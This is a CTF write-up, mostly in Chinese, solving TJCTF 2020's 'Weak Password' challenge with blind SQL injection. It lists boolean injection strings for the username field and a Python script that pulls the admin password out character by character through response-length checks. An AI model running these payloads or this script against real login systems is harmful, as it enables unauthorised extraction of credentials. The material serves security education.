Contents

[Writeup] TJCTF 2020 - Weak Password (Blind SQL injection)

Writeups 搬自 MacacaHub TJCTF 2020 Writeups

這題雖然叫 Weak Password ,但我當時遇到真的戳不出來呢 ; w ;

最後賽後隊友提點才知道原來是 Blind SQL injection ,平常我只拿' or 1=1 -- 戳戳根本是小兒科ww

Description

It seems your login bypass skills are now famous! One of my friends has given you a challenge: figure out his password on this [site] (https://weak_password.tjctf.org/). He’s told me that his username is admin, and that his password is made of up only lowercase letters and numbers. (Wrap the password with tjctf{…})

https://github.com/MacacaHub/CTF-writeups/blob/master/TJCTF-2020/Weak%20Password/01.png?raw=true

Solution

標題同樣為 Weak Password ,T 貓盃只有 admin:admin ,這裡反而沒有這麼簡單XD

從題目給定 usernameadmin,以及從原始碼可以看到 SQL 語法以及一些欄位資訊,我們可以猜到這題要用 Blind SQL injection ,一些基本的猜法可以參考[SQL Injection(Blind)(SQL盲注)] (https://www.twblogs.net/a/5d0d7134bd9eee1ede0450b0),當然也可以從網頁把 password 每個字元慢慢猜出來,但身為未來工程屍… 還是寫個Code吧 : )

https://github.com/MacacaHub/CTF-writeups/blob/master/TJCTF-2020/Weak%20Password/02.png?raw=true

How to Guess ?

透過SQL injection並利用登入結果判斷是否成功,想辦法從username撈出我們想要的資訊。

https://github.com/MacacaHub/CTF-writeups/blob/master/TJCTF-2020/Weak%20Password/03.png?raw=true https://github.com/MacacaHub/CTF-writeups/blob/master/TJCTF-2020/Weak%20Password/04.png?raw=true

例如,猜password長度:

admin' and length(password) > 13 -- –> success
admin' and length(password) > 14 -- –> fail
admin' and length(password) = 14 -- –> success

可以猜到password長度為14。


又例如,猜password第一個字元:

admin' and unicode(substr(password, 1)) > unicode('a') -- –> success
admin' and unicode(substr(password, 1)) > unicode('b') -- –> fail
admin' and unicode(substr(password, 1)) = unicode('b') -- –> success

可以猜到password第一個字元為b


再來就是寫Code了,可以搭配 Binary search 加速搜尋,然後利用回傳的 request 長度判斷結果是否成功。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import string

# Send request and get result
def inject(n, opr, char):
    url = 'https://weak_password.tjctf.org/login'
    payload = {"username": "admin' and unicode(substr(password, {})) \\
    {} unicode('{}')-- ".format(n, opr,char), "password": "123"}
    r = requests.post(url, data=payload)
    return True if len(r.text)==1842 else False #1842:success

res = ""
li = list(string.digits + string.ascii_lowercase)
for i in range(1, 20):
    
    l = 0
    r = len(li) - 1

    # end up binary search if it can't checkout any character
    if inject(i, '>', li[0]) == False:
        print('password: ' + res)
        break

    while l <= r:
        mid = (l + (r + 1)) // 2
        #print(l, r, mid)
        if inject(i, '=', li[mid]):
            res = res + li[mid]
            break
        elif inject(i, '>', li[mid]):
            l = mid
        elif inject(i, '<', li[mid]):
            r = mid
        else:
            break
    print(res)

Result

https://github.com/MacacaHub/CTF-writeups/blob/master/TJCTF-2020/Weak%20Password/05.png?raw=true